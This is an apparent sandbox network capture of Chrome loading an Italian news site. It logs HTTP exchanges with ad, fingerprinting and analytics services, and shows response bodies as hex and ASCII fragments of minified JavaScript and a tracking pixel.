Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	515	OUT	GET /tnc.min.js HTTP/1.1 Host: js.tncid.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:26 UTC	834	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPowN2-UfghMkgm2-RrYNnhUSyxb4CVzVU3TQhplqfDgqNRRU3e_f2Qn3Wd1qcqvQMcREYE Date: Thu, 28 Mar 2024 08:51:25 GMT Last-Modified: Thu, 21 Mar 2024 15:37:33 GMT ETag: W/"7a06880dc6fd2366dba04d1dadc100c5" Vary: Accept-Encoding x-goog-generation: 1711035453057658 x-goog-metageneration: 1 x-goog-stored-content-encoding: gzip x-goog-stored-content-length: 30831 Content-Type: application/javascript x-goog-hash: crc32c=lrqpWg== x-goog-hash: md5=egaIDcb9I2bboE0drcEAxQ== x-goog-storage-class: STANDARD Access-Control-Allow-Origin: * X-GUploader-Response-Body-Transformations: gunzipped Warning: 214 UploadServer gunzipped Server: UploadServer Cache-Control: public,max-age=3600 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:26 UTC	1252	IN	Data Raw: 61 39 38 0d 0a 21 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 28 77 2c 64 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 76 65 72 73 69 6f 6e 3d 22 33 2e 32 34 2e 31 22 2c 63 73 3d 64 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 2c 70 61 72 61 6d 73 3d 63 73 26 26 63 73 2e 73 72 63 26 26 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3f 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 22 3f 22 2b 28 63 73 2e 73 72 63 2e 73 70 6c 69 74 28 22 3f 22 29 5b 31 5d 7c 7c 22 22 29 29 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 2c 77 69 6e 64 6f 77 50 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2c 67 6c 6f 62 61 6c 3d 28 76 6f 69 64 20 30 Data Ascii: a98!async function(w,d){"use strict";var version="3.24.1",cs=d.currentScript,params=cs&&cs.src&&URLSearchParams?new URLSearchParams("?"+(cs.src.split("?")[1]\|\|"")):{get:function(){}},windowParams=new URL(window.location.href).searchParams,global=(void 0
2024-03-28 08:51:26 UTC	1252	IN	Data Raw: 76 69 63 65 4d 65 6d 6f 72 79 22 2c 22 68 61 72 64 77 61 72 65 43 6f 6e 63 75 72 72 65 6e 63 79 22 2c 22 73 63 72 65 65 6e 52 65 73 6f 6c 75 74 69 6f 6e 22 2c 22 61 76 61 69 6c 61 62 6c 65 53 63 72 65 65 6e 52 65 73 6f 6c 75 74 69 6f 6e 22 2c 22 74 69 6d 65 7a 6f 6e 65 4f 66 66 73 65 74 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 2c 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 2c 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 2c 22 69 6e 64 65 78 65 64 44 62 22 2c 22 61 64 64 42 65 68 61 76 69 6f 72 22 2c 22 6f 70 65 6e 44 61 74 61 62 61 73 65 22 2c 22 63 70 75 43 6c 61 73 73 22 2c 22 70 6c 61 74 66 6f 72 6d 22 2c 22 70 6c 75 67 69 6e 73 22 2c 22 63 61 6e 76 61 73 22 2c 22 77 65 62 67 6c 22 2c 22 77 65 62 67 6c 56 65 6e 64 6f 72 41 6e 64 52 65 6e 64 65 72 65 72 22 Data Ascii: viceMemory","hardwareConcurrency","screenResolution","availableScreenResolution","timezoneOffset","timezone","sessionStorage","localStorage","indexedDb","addBehavior","openDatabase","cpuClass","platform","plugins","canvas","webgl","webglVendorAndRenderer"
2024-03-28 08:51:26 UTC	215	IN	Data Raw: 61 72 20 69 3d 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 69 3a 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 70 26 26 65 2e 6d 61 70 3d 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 70 3f 65 2e 6d 61 70 28 74 29 3a 28 65 61 63 68 28 65 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 6e 29 7b 69 2e 70 75 73 68 28 74 28 65 2c 72 2c 6e 29 29 7d 29 29 2c 69 29 7d 2c 73 68 61 31 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 30 31 32 33 34 35 36 37 38 39 61 62 63 64 65 66 22 2e 73 70 6c 69 74 28 22 22 29 2c 74 3d 5b 2d 32 31 34 37 34 38 33 36 34 38 2c 38 33 38 38 36 30 38 2c 33 32 37 36 38 2c 31 0d 0a Data Ascii: ar i=[];return null==e?i:Array.prototype.map&&e.map===Array.prototype.map?e.map(t):(each(e,(function(e,r,n){i.push(t(e,r,n))})),i)},sha1=function(){var e="0123456789abcdef".split(""),t=[-2147483648,8388608,32768,1
2024-03-28 08:51:26 UTC	1252	IN	Data Raw: 31 30 30 30 0d 0a 32 38 5d 2c 69 3d 5b 32 34 2c 31 36 2c 38 2c 30 5d 2c 72 3d 5b 22 68 65 78 22 2c 22 61 72 72 61 79 22 2c 22 64 69 67 65 73 74 22 2c 22 61 72 72 61 79 42 75 66 66 65 72 22 5d 2c 6e 3d 5b 5d 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 73 28 21 30 29 2e 75 70 64 61 74 65 28 74 29 5b 65 5d 28 29 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 65 3f 28 6e 5b 30 5d 3d 6e 5b 31 36 5d 3d 6e 5b 31 5d 3d 6e 5b 32 5d 3d 6e 5b 33 5d 3d 6e 5b 34 5d 3d 6e 5b 35 5d 3d 6e 5b 36 5d 3d 6e 5b 37 5d 3d 6e 5b 38 5d 3d 6e 5b 39 5d 3d 6e 5b 31 30 5d 3d 6e 5b 31 31 5d 3d 6e 5b 31 32 5d 3d 6e 5b 31 33 5d 3d 6e 5b 31 34 5d 3d 6e 5b 31 35 5d 3d 30 2c 74 68 69 73 2e 62 6c Data Ascii: 100028],i=[24,16,8,0],r=["hex","array","digest","arrayBuffer"],n=[],o=function(e){return function(t){return new s(!0).update(t)[e]()}};function s(e){e?(n[0]=n[16]=n[1]=n[2]=n[3]=n[4]=n[5]=n[6]=n[7]=n[8]=n[9]=n[10]=n[11]=n[12]=n[13]=n[14]=n[15]=0,this.bl
2024-03-28 08:51:26 UTC	1252	IN	Data Raw: 33 26 6e 2b 2b 5d 2c 61 5b 6e 3e 3e 32 5d 7c 3d 28 31 32 38 7c 72 3e 3e 36 26 36 33 29 3c 3c 69 5b 33 26 6e 2b 2b 5d 2c 61 5b 6e 3e 3e 32 5d 7c 3d 28 31 32 38 7c 36 33 26 72 29 3c 3c 69 5b 33 26 6e 2b 2b 5d 29 3b 74 68 69 73 2e 6c 61 73 74 42 79 74 65 49 6e 64 65 78 3d 6e 2c 74 68 69 73 2e 62 79 74 65 73 2b 3d 6e 2d 74 68 69 73 2e 73 74 61 72 74 2c 6e 3e 3d 36 34 3f 28 74 68 69 73 2e 62 6c 6f 63 6b 3d 61 5b 31 36 5d 2c 74 68 69 73 2e 73 74 61 72 74 3d 6e 2d 36 34 2c 74 68 69 73 2e 68 61 73 68 28 29 2c 74 68 69 73 2e 68 61 73 68 65 64 3d 21 30 29 3a 74 68 69 73 2e 73 74 61 72 74 3d 6e 7d 72 65 74 75 72 6e 20 74 68 69 73 2e 62 79 74 65 73 3e 34 32 39 34 39 36 37 32 39 35 26 26 28 74 68 69 73 2e 68 42 79 74 65 73 2b 3d 74 68 69 73 2e 62 79 74 65 73 2f 34 32 Data Ascii: 3&n++],a[n>>2]\|=(128\|r>>6&63)<<i[3&n++],a[n>>2]\|=(128\|63&r)<<i[3&n++]);this.lastByteIndex=n,this.bytes+=n-this.start,n>=64?(this.block=a[16],this.start=n-64,this.hash(),this.hashed=!0):this.start=n}return this.bytes>4294967295&&(this.hBytes+=this.bytes/42
2024-03-28 08:51:26 UTC	1252	IN	Data Raw: 6f 29 2b 73 2b 31 38 35 39 37 37 35 33 39 33 2b 61 5b 65 5d 3c 3c 30 29 3c 3c 35 7c 73 3e 3e 3e 32 37 29 2b 28 69 5e 28 72 3d 72 3c 3c 33 30 7c 72 3e 3e 3e 32 29 5e 6e 29 2b 6f 2b 31 38 35 39 37 37 35 33 39 33 2b 61 5b 65 2b 31 5d 3c 3c 30 29 3c 3c 35 7c 6f 3e 3e 3e 32 37 29 2b 28 73 5e 28 69 3d 69 3c 3c 33 30 7c 69 3e 3e 3e 32 29 5e 72 29 2b 6e 2b 31 38 35 39 37 37 35 33 39 33 2b 61 5b 65 2b 32 5d 3c 3c 30 29 3c 3c 35 7c 6e 3e 3e 3e 32 37 29 2b 28 6f 5e 28 73 3d 73 3c 3c 33 30 7c 73 3e 3e 3e 32 29 5e 69 29 2b 72 2b 31 38 35 39 37 37 35 33 39 33 2b 61 5b 65 2b 33 5d 3c 3c 30 29 3c 3c 35 7c 72 3e 3e 3e 32 37 29 2b 28 6e 5e 28 6f 3d 6f 3c 3c 33 30 7c 6f 3e 3e 3e 32 29 5e 73 29 2b 69 2b 31 38 35 39 37 37 35 33 39 33 2b 61 5b 65 2b 34 5d 3c 3c 30 2c 6e 3d 6e Data Ascii: o)+s+1859775393+a[e]<<0)<<5\|s>>>27)+(i^(r=r<<30\|r>>>2)^n)+o+1859775393+a[e+1]<<0)<<5\|o>>>27)+(s^(i=i<<30\|i>>>2)^r)+n+1859775393+a[e+2]<<0)<<5\|n>>>27)+(o^(s=s<<30\|s>>>2)^i)+r+1859775393+a[e+3]<<0)<<5\|r>>>27)+(n^(o=o<<30\|o>>>2)^s)+i+1859775393+a[e+4]<<0,n=n
2024-03-28 08:51:26 UTC	348	IN	Data Raw: 32 38 26 31 35 5d 2b 65 5b 69 3e 3e 32 34 26 31 35 5d 2b 65 5b 69 3e 3e 32 30 26 31 35 5d 2b 65 5b 69 3e 3e 31 36 26 31 35 5d 2b 65 5b 69 3e 3e 31 32 26 31 35 5d 2b 65 5b 69 3e 3e 38 26 31 35 5d 2b 65 5b 69 3e 3e 34 26 31 35 5d 2b 65 5b 31 35 26 69 5d 2b 65 5b 72 3e 3e 32 38 26 31 35 5d 2b 65 5b 72 3e 3e 32 34 26 31 35 5d 2b 65 5b 72 3e 3e 32 30 26 31 35 5d 2b 65 5b 72 3e 3e 31 36 26 31 35 5d 2b 65 5b 72 3e 3e 31 32 26 31 35 5d 2b 65 5b 72 3e 3e 38 26 31 35 5d 2b 65 5b 72 3e 3e 34 26 31 35 5d 2b 65 5b 31 35 26 72 5d 2b 65 5b 6e 3e 3e 32 38 26 31 35 5d 2b 65 5b 6e 3e 3e 32 34 26 31 35 5d 2b 65 5b 6e 3e 3e 32 30 26 31 35 5d 2b 65 5b 6e 3e 3e 31 36 26 31 35 5d 2b 65 5b 6e 3e 3e 31 32 26 31 35 5d 2b 65 5b 6e 3e 3e 38 26 31 35 5d 2b 65 5b 6e 3e 3e 34 26 31 35 Data Ascii: 28&15]+e[i>>24&15]+e[i>>20&15]+e[i>>16&15]+e[i>>12&15]+e[i>>8&15]+e[i>>4&15]+e[15&i]+e[r>>28&15]+e[r>>24&15]+e[r>>20&15]+e[r>>16&15]+e[r>>12&15]+e[r>>8&15]+e[r>>4&15]+e[15&r]+e[n>>28&15]+e[n>>24&15]+e[n>>20&15]+e[n>>16&15]+e[n>>12&15]+e[n>>8&15]+e[n>>4&15
2024-03-28 08:51:26 UTC	1252	IN	Data Raw: 66 64 66 0d 0a 2b 65 5b 31 35 26 6f 5d 7d 2c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 73 2e 70 72 6f 74 6f 74 79 70 65 2e 68 65 78 2c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 64 69 67 65 73 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 66 69 6e 61 6c 69 7a 65 28 29 3b 76 61 72 20 65 3d 74 68 69 73 2e 68 30 2c 74 3d 74 68 69 73 2e 68 31 2c 69 3d 74 68 69 73 2e 68 32 2c 72 3d 74 68 69 73 2e 68 33 2c 6e 3d 74 68 69 73 2e 68 34 3b 72 65 74 75 72 6e 5b 65 3e 3e 32 34 26 32 35 35 2c 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 2c 32 35 35 26 65 2c 74 3e 3e 32 34 26 32 35 35 2c 74 3e 3e 31 36 26 32 35 35 2c 74 3e 3e 38 26 32 35 35 2c 32 35 35 26 74 2c 69 3e 3e 32 34 26 32 35 35 2c 69 3e 3e 31 36 26 32 35 35 2c 69 3e 3e 38 26 32 Data Ascii: fdf+e[15&o]},s.prototype.toString=s.prototype.hex,s.prototype.digest=function(){this.finalize();var e=this.h0,t=this.h1,i=this.h2,r=this.h3,n=this.h4;return[e>>24&255,e>>16&255,e>>8&255,255&e,t>>24&255,t>>16&255,t>>8&255,255&t,i>>24&255,i>>16&255,i>>8&2
2024-03-28 08:51:26 UTC	1252	IN	Data Raw: 38 37 31 31 2c 31 31 33 39 32 36 39 39 33 2c 33 33 38 32 34 31 38 39 35 2c 36 36 36 33 30 37 32 30 35 2c 37 37 33 35 32 39 39 31 32 2c 31 32 39 34 37 35 37 33 37 32 2c 31 33 39 36 31 38 32 32 39 31 2c 31 36 39 35 31 38 33 37 30 30 2c 31 39 38 36 36 36 31 30 35 31 2c 32 31 37 37 30 32 36 33 35 30 2c 32 34 35 36 39 35 36 30 33 37 2c 32 37 33 30 34 38 35 39 32 31 2c 32 38 32 30 33 30 32 34 31 31 2c 33 32 35 39 37 33 30 38 30 30 2c 33 33 34 35 37 36 34 37 37 31 2c 33 35 31 36 30 36 35 38 31 37 2c 33 36 30 30 33 35 32 38 30 34 2c 34 30 39 34 35 37 31 39 30 39 2c 32 37 35 34 32 33 33 34 34 2c 34 33 30 32 32 37 37 33 34 2c 35 30 36 39 34 38 36 31 36 2c 36 35 39 30 36 30 35 35 36 2c 38 38 33 39 39 37 38 37 37 2c 39 35 38 31 33 39 35 37 31 2c 31 33 32 32 38 32 32 Data Ascii: 8711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822
2024-03-28 08:51:26 UTC	1252	IN	Data Raw: 2c 74 68 69 73 2e 66 69 6e 61 6c 69 7a 65 64 3d 74 68 69 73 2e 68 61 73 68 65 64 3d 21 31 2c 74 68 69 73 2e 66 69 72 73 74 3d 21 30 2c 74 68 69 73 2e 69 73 32 32 34 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 63 28 69 2c 72 2c 6e 29 7b 76 61 72 20 6f 2c 73 3d 74 79 70 65 6f 66 20 69 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 3d 73 29 7b 76 61 72 20 61 2c 68 3d 5b 5d 2c 63 3d 69 2e 6c 65 6e 67 74 68 2c 64 3d 30 3b 66 6f 72 28 6f 3d 30 3b 6f 3c 63 3b 2b 2b 6f 29 28 61 3d 69 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 29 3c 31 32 38 3f 68 5b 64 2b 2b 5d 3d 61 3a 61 3c 32 30 34 38 3f 28 68 5b 64 2b 2b 5d 3d 31 39 32 7c 61 3e 3e 36 2c 68 5b 64 2b 2b 5d 3d 31 32 38 7c 36 33 26 61 29 3a 61 3c 35 35 32 39 36 7c 7c 61 3e 3d 35 37 33 34 34 3f 28 68 5b 64 2b 2b 5d 3d 32 32 34 Data Ascii: ,this.finalized=this.hashed=!1,this.first=!0,this.is224=e}function c(i,r,n){var o,s=typeof i;if("string"===s){var a,h=[],c=i.length,d=0;for(o=0;o<c;++o)(a=i.charCodeAt(o))<128?h[d++]=a:a<2048?(h[d++]=192\|a>>6,h[d++]=128\|63&a):a<55296\|\|a>=57344?(h[d++]=224

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.4	50090	216.200.232.249	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	952	OUT	GET /sync/iframe?mt_uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&no_iframe=1&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635&mt_exid=10082&source=mathtag HTTP/1.1 Host: pixel.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26
2024-03-28 08:51:25 UTC	371	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: text/html Content-Length: 2638 Connection: close Access-Control-Allow-Origin: * Server: MT3 1549 cea2cde master ord ord-pixel-x6 config_version:"1783" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Expires: Thu, 28 Mar 2024 08:51:24 GMT
2024-03-28 08:51:25 UTC	2638	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 74 72 79 20 7b 0a 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 4d 74 42 74 73 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 4d 74 42 74 73 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 6d 65 74 72 69 63 20 3d 20 66 75 6e 63 74 69 6f 6e 28 75 72 6c 2c 20 77 61 69 74 29 0a 09 7b 09 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 65 20 3d 20 6e 65 77 20 49 6d 61 67 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 2e 73 Data Ascii: <html><body><script type="text/javascript">try { if (typeof window.MtBts === 'undefined') { window.MtBts = function() {metric = function(url, wait){ setTimeout(function() { var e = new Image(); e.s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.4	50060	138.199.8.195	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	432	OUT	GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=ef&pos=0&loop=1&pb=1&rnd=1711615872181 HTTP/1.1 Host: track.sunmedia.tv Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	357	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: image/gif Content-Length: 42 Connection: close Last-Modified: Thu, 15 Nov 2018 09:59:07 GMT Cache-control: max-age=0, s-maxage=31536000 X-Device: desktop Accept-Ranges: bytes Age: 49179 TP-Cache: HIT Vary: Accept-Encoding Access-Control-Allow-Credentials: true
2024-03-28 08:51:25 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.4	50087	172.67.25.151	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:25 UTC	365	OUT	GET /index-monitoring-bbdc39c.js HTTP/1.1 Host: cdn.pbstck.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:25 UTC	537	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:25 GMT Content-Type: application/javascript Content-Length: 187416 Connection: close x-amz-id-2: htE50iW8dSa/2QIIjghkEKiy0V4lmq2o9srR9jD/Htv0w8P8RlyMj8EqsDNoFouQpr/kmB+r6M0= x-amz-request-id: TPHPQK3YQ867WZD7 Cache-Control: public, max-age=604800, immutable Last-Modified: Wed, 13 Sep 2023 12:21:10 GMT ETag: "a84705dc4e55d0ff74ca5e1edefba3dd" CF-Cache-Status: HIT Age: 48288 Accept-Ranges: bytes Server: cloudflare CF-RAY: 86b660d678e956ce-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:25 UTC	832	IN	Data Raw: 74 68 69 73 2e 6d 6f 6e 69 74 6f 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 5b 72 5d 29 72 65 74 75 72 6e 20 65 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 65 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 72 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6e 2e 6d 3d 74 2c 6e 2e 63 3d 65 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 6e 2e 6f 28 74 2c 65 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 65 6e 75 6d 65 72 61 62 Data Ascii: this.monitoring=function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerab
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 6e 2e 64 28 65 2c 22 61 22 2c 65 29 2c 65 7d 2c 6e 2e 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 65 29 7d 2c 6e 2e 70 3d 22 22 2c 6e 28 6e 2e 73 3d 35 30 39 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 22 62 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6b 7d 29 29 2c 6e 2e 64 28 65 2c 22 72 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 45 7d 29 29 2c 6e 2e 64 28 65 2c 22 73 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 54 7d 29 29 2c 6e 2e 64 28 65 2c 22 69 22 2c 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=509)}([function(t,e,n){"use strict";n.d(e,"b",(function(){return k})),n.d(e,"r",(function(){return E})),n.d(e,"s",(function(){return T})),n.d(e,"i",(function(
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 2c 74 29 3b 76 61 72 20 65 3d 41 28 6e 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 72 65 74 75 72 6e 20 75 28 29 28 74 68 69 73 2c 6e 29 2c 65 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 7d 72 65 74 75 72 6e 20 6e 7d 28 62 28 29 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6b 28 74 2c 65 29 7b 69 66 28 21 79 28 29 28 74 29 29 74 68 72 6f 77 20 6e 65 77 20 53 28 6e 75 6c 6c 21 3d 65 3f 65 3a 22 45 78 70 65 63 74 65 64 20 76 61 6c 75 65 20 74 6f 20 62 65 20 61 6e 20 61 72 72 61 79 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 22 2e 63 6f 6e 63 61 74 28 61 28 29 28 74 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 45 28 74 29 7b 72 65 74 75 72 6e 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 21 69 73 4e 61 4e 28 74 29 7d 66 75 6e 63 74 69 6f 6e Data Ascii: ,t);var e=A(n);function n(t){return u()(this,n),e.call(this,t)}return n}(b()(Error));function k(t,e){if(!y()(t))throw new S(null!=e?e:"Expected value to be an array, but received ".concat(a()(t)))}function E(t){return"number"==typeof t&&!isNaN(t)}function
2024-03-28 08:51:25 UTC	1369	IN	Data Raw: 6e 6f 74 20 65 71 75 61 6c 20 74 6f 20 27 22 2e 63 6f 6e 63 61 74 28 65 2c 22 27 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 22 29 29 2e 63 61 6c 6c 28 72 2c 74 29 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 74 2c 65 29 7b 69 66 28 21 74 29 74 68 72 6f 77 20 6e 65 77 20 53 28 6e 75 6c 6c 21 3d 65 3f 65 3a 22 45 78 70 65 63 74 65 64 20 76 61 6c 75 65 20 74 6f 20 62 65 20 74 72 75 65 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 22 2e 63 6f 6e 63 61 74 28 74 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 2c 65 29 7b 69 66 28 21 79 28 29 28 74 29 7c 7c 30 3d 3d 3d 6a 28 29 28 74 29 2e 63 61 6c 6c 28 74 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 74 7d 29 29 2e 6c 65 6e 67 74 68 29 74 68 72 6f 77 20 6e 65 77 20 53 28 6e Data Ascii: not equal to '".concat(e,"', but received ")).call(r,t))}function F(t,e){if(!t)throw new S(null!=e?e:"Expected value to be true, but received ".concat(t))}function D(t,e){if(!y()(t)\|\|0===j()(t).call(t,(function(t){return void 0!==t})).length)throw new S(n
